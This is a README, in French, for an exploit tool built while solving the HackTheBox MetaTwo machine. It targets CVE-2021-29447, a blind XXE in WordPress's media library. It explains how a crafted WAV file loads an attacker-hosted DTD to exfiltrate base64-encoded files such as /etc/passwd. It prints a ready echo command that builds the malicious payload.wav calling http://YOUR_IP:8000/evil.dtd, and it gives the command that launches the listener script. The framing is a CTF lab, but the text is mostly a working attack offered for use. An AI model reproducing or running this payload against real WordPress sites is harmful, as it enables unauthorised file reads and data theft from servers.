
Contrôleur de lecture arbitraire de fichiers basé sur CVE-2021-29447
J'ai créé ce contrôleur en faisant la machine metatwo sur HackTheBox pour exploiter CVE-2021-29447, qui est une vulnérabilité XXE dans WordPress au niveau de la bibliothèque multimédia affectant les versions 5.7, 5.6.2, 5.6.1, 5.6, 5.0.11. où un utilisateur authentifié ayant la capacité de télécharger dans la bibliothèque multimédia peut télécharger un fichier wav malveillant qui pourrait conduire à une lecture arbitraire de fichiers à distance et à une falsification de requête côté serveur (SSRF)
Pour exploiter ces vulnérabilités, plusieurs étapes sont nécessaires pour mener à bien une attaque. En effet, le résultat du iXML parsé n'est pas renvoyé à l'utilisateur, donc pour l'exploiter nous avons besoin d'une charge utile XXE aveugle. Cela est réalisable en incluant une définition de type de document (DTD) externe contrôlée par l'attaquant et nous devons créer un fichier wav malveillant pour recevoir la connexion sur le serveur d'écoute de l'attaquant. Une fois ces étapes effectuées, téléchargez le fichier wav sur le serveur, attendez de recevoir une requête HTTP contenant le contenu encodé en base64 de notre fichier de charge utile, par exemple /etc/passwd, puis décodez le base64. Ce contrôleur fournit toutes les solutions pour ces multiples étapes. Vous avez simplement besoin de taper le nom du fichier sur le contrôleur $console >
Blog détaillé https://blog.sonarsource.com/wordpress-xxe-security-vulnerability/
Note : Ce contrôleur est entièrement configuré pour la machine metatwo de HTB. Pour toute utilisation en dehors, vous devez apporter quelques modifications dans les scripts.
Créez un fichier wave nommé payload.wav
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOUR_IP:8000/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
exécutez main.py
python3 main.py listen_ip
